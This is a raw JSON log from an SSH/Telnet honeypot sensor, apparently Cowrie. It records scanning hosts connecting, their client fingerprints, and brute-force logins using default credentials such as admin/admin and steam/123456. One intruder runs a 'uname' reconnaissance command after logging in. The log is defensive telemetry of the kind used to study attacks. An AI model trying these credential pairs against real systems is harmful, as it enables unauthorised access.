{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:30.621483Z","src_ip":"122.168.114.167","session":"4c72d6d3b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24974,"dst_ip":"10.17.0.5","dst_port":22,"session":"db32c852cadb","protocol":"ssh","message":"New connection: 87.251.64.176:24974 (10.17.0.5:22) [session: db32c852cadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:34.479640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:34.483471Z","src_ip":"87.251.64.176","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:34.580184Z","src_ip":"87.251.64.176","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:34.870175Z","src_ip":"87.251.64.176","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:34.970579Z","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:35.071723Z","src_ip":"87.251.64.176","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:35.171621Z","src_ip":"87.251.64.176","session":"db32c852cadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.7","message":"Connection lost after 39.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:37.306554Z","src_ip":"122.168.114.167","session":"4c72d6d3b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c378a71b77c2","protocol":"ssh","message":"New connection: 122.168.114.167:44498 (159.203.135.109:22) [session: c378a71b77c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:42.717374Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.114.125","src_port":53780,"dst_ip":"159.203.135.109","dst_port":23,"session":"199b96e09970","protocol":"telnet","message":"New connection: 154.16.114.125:53780 (159.203.135.109:23) [session: 199b96e09970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:47.525887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:47.727979Z","src_ip":"122.168.114.167","session":"c378a71b77c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:47.731237Z","src_ip":"122.168.114.167","session":"c378a71b77c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":38868,"dst_ip":"10.17.0.5","dst_port":22,"session":"020682743dcd","protocol":"ssh","message":"New connection: 210.114.22.126:38868 (10.17.0.5:22) [session: 020682743dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:56.167206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:56.263965Z","src_ip":"210.114.22.126","session":"020682743dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:56.460613Z","src_ip":"210.114.22.126","session":"020682743dcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server11","message":"login attempt [root/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:57.437336Z","src_ip":"210.114.22.126","session":"020682743dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:36:58.950871Z","src_ip":"210.114.22.126","session":"020682743dcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":55880,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6c5abd85d5","protocol":"ssh","message":"New connection: 103.13.206.208:55880 (159.203.135.109:22) [session: fc6c5abd85d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:08.433562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:08.438737Z","src_ip":"103.13.206.208","session":"fc6c5abd85d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:08.683914Z","src_ip":"103.13.206.208","session":"fc6c5abd85d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678a!","message":"login attempt [root/12345678a!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:09.691204Z","src_ip":"103.13.206.208","session":"fc6c5abd85d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:10.565554Z","src_ip":"122.168.114.167","session":"c378a71b77c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:10.938385Z","src_ip":"103.13.206.208","session":"fc6c5abd85d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.132.150.42","src_port":40638,"dst_ip":"159.203.135.109","dst_port":23,"session":"596541fa14a6","protocol":"telnet","message":"New connection: 188.132.150.42:40638 (159.203.135.109:23) [session: 596541fa14a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:13.825657Z"}
{"eventid":"cowrie.session.closed","duration":"33.3","message":"Connection lost after 33.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:16.039875Z","src_ip":"122.168.114.167","session":"c378a71b77c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.10","src_port":8178,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5267d03e7ab","protocol":"ssh","message":"New connection: 65.49.1.10:8178 (159.203.135.109:22) [session: f5267d03e7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:16.926554Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x89\\xec]\\xed\u0000\u0018\\xbf\\xff\\xddy\\xdf~]\\xca\\xde\\xd9=}4\\xa7\u0014\\xcd\u0017\\xa3\u0014|\\xda2@\\x9f}\\xa7\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x89\\xec]\\xed\u0000\u0018\\xbf\\xff\\xddy\\xdf~]\\xca\\xde\\xd9=}4\\xa7\u0014\\xcd\u0017\\xa3\u0014|\\xda2@\\x9f}\\xa7\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:16.933071Z","src_ip":"65.49.1.10","session":"f5267d03e7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:16.936886Z","src_ip":"65.49.1.10","session":"f5267d03e7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.9210319519043,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:25.446790Z","src_ip":"154.16.114.125","session":"199b96e09970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":46918,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ab3baeabbf","protocol":"ssh","message":"New connection: 122.168.114.167:46918 (159.203.135.109:22) [session: b3ab3baeabbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:26.036765Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.254","src_port":61190,"dst_ip":"10.17.0.5","dst_port":22,"session":"e01a598c3956","protocol":"ssh","message":"New connection: 184.105.247.254:61190 (10.17.0.5:22) [session: e01a598c3956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:28.782043Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:28.787120Z","src_ip":"184.105.247.254","session":"e01a598c3956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:28.790962Z","src_ip":"184.105.247.254","session":"e01a598c3956","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:29.886364Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:29.889861Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c6a2e6a79e1","protocol":"telnet","message":"New connection: 185.26.126.47:51316 (159.203.135.109:23) [session: 8c6a2e6a79e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:35.968844Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.60.204","src_port":57765,"dst_ip":"159.203.135.109","dst_port":23,"session":"97056d1b2e28","protocol":"telnet","message":"New connection: 200.225.60.204:57765 (159.203.135.109:23) [session: 97056d1b2e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:36.212764Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:47.066050Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:54.367455Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:54.370308Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:57.311525Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.3","message":"Connection lost after 31.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:57.316538Z","src_ip":"122.168.114.167","session":"b3ab3baeabbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.114.125","src_port":41550,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5a5bcd7148d","protocol":"telnet","message":"New connection: 154.16.114.125:41550 (159.203.135.109:23) [session: c5a5bcd7148d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:37:58.533047Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49328,"dst_ip":"159.203.135.109","dst_port":22,"session":"877932bd44ae","protocol":"ssh","message":"New connection: 122.168.114.167:49328 (159.203.135.109:22) [session: 877932bd44ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:07.132619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:10.684540Z","src_ip":"122.168.114.167","session":"877932bd44ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:10.688589Z","src_ip":"122.168.114.167","session":"877932bd44ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.35438060760498,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:18.323104Z","src_ip":"185.26.126.47","session":"8c6a2e6a79e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":56128,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd80e0f3a717","protocol":"ssh","message":"New connection: 210.114.22.126:56128 (10.17.0.5:22) [session: bd80e0f3a717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:38:24.481046Z"}
